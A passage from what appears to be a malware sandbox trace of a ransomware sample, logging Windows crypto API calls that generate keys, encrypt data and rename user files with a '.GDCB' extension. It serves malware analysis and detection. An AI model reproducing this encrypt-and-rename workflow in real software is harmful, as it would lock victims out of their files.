settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log.gdcb")) returned 1 [0220.746] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0220.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.751] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0220.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.751] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0220.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.753] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0220.753] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.754] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0220.756] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x648b540) returned 1 [0220.756] CryptGetKeyParam (in: hKey=0x648b540, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.756] CryptEncrypt (in: hKey=0x648b540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0220.756] GetLastError () returned 0x0 [0220.756] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.756] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0220.758] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485500) returned 1 [0220.758] CryptGetKeyParam (in: hKey=0x6485500, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.758] CryptEncrypt (in: hKey=0x6485500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0220.759] GetLastError () returned 0x0 [0220.759] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.759] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{219D4102-8477-4DA3-B68D-CBEB50436A31}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{219d4102-8477-4da3-b68d-cbeb50436a31}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0220.760] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.762] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.769] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0220.796] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.801] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{219D4102-8477-4DA3-B68D-CBEB50436A31}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{219d4102-8477-4da3-b68d-cbeb50436a31}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{219D4102-8477-4DA3-B68D-CBEB50436A31}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{219d4102-8477-4da3-b68d-cbeb50436a31}.png.gdcb")) returned 1 [0220.804] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0220.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.807] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.807] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0220.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.807] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0220.809] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.810] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.810] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0220.810] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.810] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0220.813] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485140) returned 1 [0220.813] CryptGetKeyParam (in: hKey=0x6485140, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.813] CryptEncrypt (in: hKey=0x6485140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0220.813] GetLastError () returned 0x0 [0220.813] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.813] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0220.815] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485580) returned 1 [0220.815] CryptGetKeyParam (in: hKey=0x6485580, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.815] CryptEncrypt (in: hKey=0x6485580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0220.815] GetLastError () returned 0x0 [0220.815] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.815] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{3142F004-AD96-48E4-B756-4D6F73D1B9C8}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{3142f004-ad96-48e4-b756-4d6f73d1b9c8}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0220.817] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.818] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.819] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0220.829] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.834] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{3142F004-AD96-48E4-B756-4D6F73D1B9C8}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{3142f004-ad96-48e4-b756-4d6f73d1b9c8}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{3142F004-AD96-48E4-B756-4D6F73D1B9C8}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{3142f004-ad96-48e4-b756-4d6f73d1b9c8}.png.gdcb")) returned 1 [0220.837] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0220.839] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.840] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0220.840] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.840] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0220.842] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.843] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0220.843] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.843] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0220.845] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485700) returned 1 [0220.845] CryptGetKeyParam (in: hKey=0x6485700, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.845] CryptEncrypt (in: hKey=0x6485700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0220.845] GetLastError () returned 0x0 [0220.845] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.845] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0220.847] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485200) returned 1 [0220.847] CryptGetKeyParam (in: hKey=0x6485200, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.847] CryptEncrypt (in: hKey=0x6485200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0220.847] GetLastError () returned 0x0 [0220.847] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.847] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{46F14CBA-A8C3-4AB0-8748-F3A8C35622B4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{46f14cba-a8c3-4ab0-8748-f3a8c35622b4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0220.849] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.851] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.852] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0220.862] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.866] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{46F14CBA-A8C3-4AB0-8748-F3A8C35622B4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{46f14cba-a8c3-4ab0-8748-f3a8c35622b4}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{46F14CBA-A8C3-4AB0-8748-F3A8C35622B4}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{46f14cba-a8c3-4ab0-8748-f3a8c35622b4}.png.gdcb")) returned 1 [0220.870] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0220.871] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.873] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0220.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.873] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0220.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.875] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.875] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0220.875] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.875] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0220.877] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64852c0) returned 1 [0220.877] CryptGetKeyParam (in: hKey=0x64852c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.877] CryptEncrypt (in: hKey=0x64852c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0220.877] GetLastError () returned 0x0 [0220.877] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.877] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0220.879] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64855c0) returned 1 [0220.879] CryptGetKeyParam (in: hKey=0x64855c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0220.879] CryptEncrypt (in: hKey=0x64855c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0220.880] GetLastError () returned 0x0 [0220.880] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.880] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{5C217167-4731-4AFD-B181-6274E3DFBF25}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{5c217167-4731-4afd-b181-6274e3dfbf25}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0220.881] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.883] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.884] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0xa42, lpOverlapped=0x0) returned 1 [0221.327] VirtualAlloc (lpAddress=0x0, dwSize=0xa50, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.331] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{5C217167-4731-4AFD-B181-6274E3DFBF25}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{5c217167-4731-4afd-b181-6274e3dfbf25}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{5C217167-4731-4AFD-B181-6274E3DFBF25}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{5c217167-4731-4afd-b181-6274e3dfbf25}.png.gdcb")) returned 1 [0221.335] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0221.337] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.338] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0221.338] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.338] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0221.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0221.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0221.340] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0221.340] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0221.340] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.343] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64853c0) returned 1 [0221.343] CryptGetKeyParam (in: hKey=0x64853c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.343] CryptEncrypt (in: hKey=0x64853c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0221.343] GetLastError () returned 0x0 [0221.343] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.343] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0221.345] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6485180) returned 1 [0221.345] CryptGetKeyParam (in: hKey=0x6485180, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0221.345] CryptEncrypt (in: hKey=0x6485180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0221.345] GetLastError () returned 0x0 [0221.345] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0221.345] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{708686A3-2087-4B70-81FB-7F608AD7F5D4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{708686a3-2087-4b70-81fb-7f608ad7f5d4}.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0221.346] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0221.348] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0221.349] ReadFile (in: hFile=0x50c, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d8f8*=0x1ae6, lpOverlapped=0x0) returned 1 [0221.358] VirtualAlloc (lpAddress=0x0, dwSize=0x1af0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0221.362] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{708686A3-2087-4B70-81FB-7F608AD7F5D4}.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{708686a3-2087-4b70-81fb-7f608ad7f5d4}.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\ActionCenterCache\\{708686A3-2087-4B70-81FB-7F608AD7F5D4}.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\actioncentercache\\{708686a3-2087-4b70-81fb-7f608ad7f5d4}.png.gdcb")) returned 1 [0221.368] CryptAcquireContextW (in: phProv=0x285d74c, 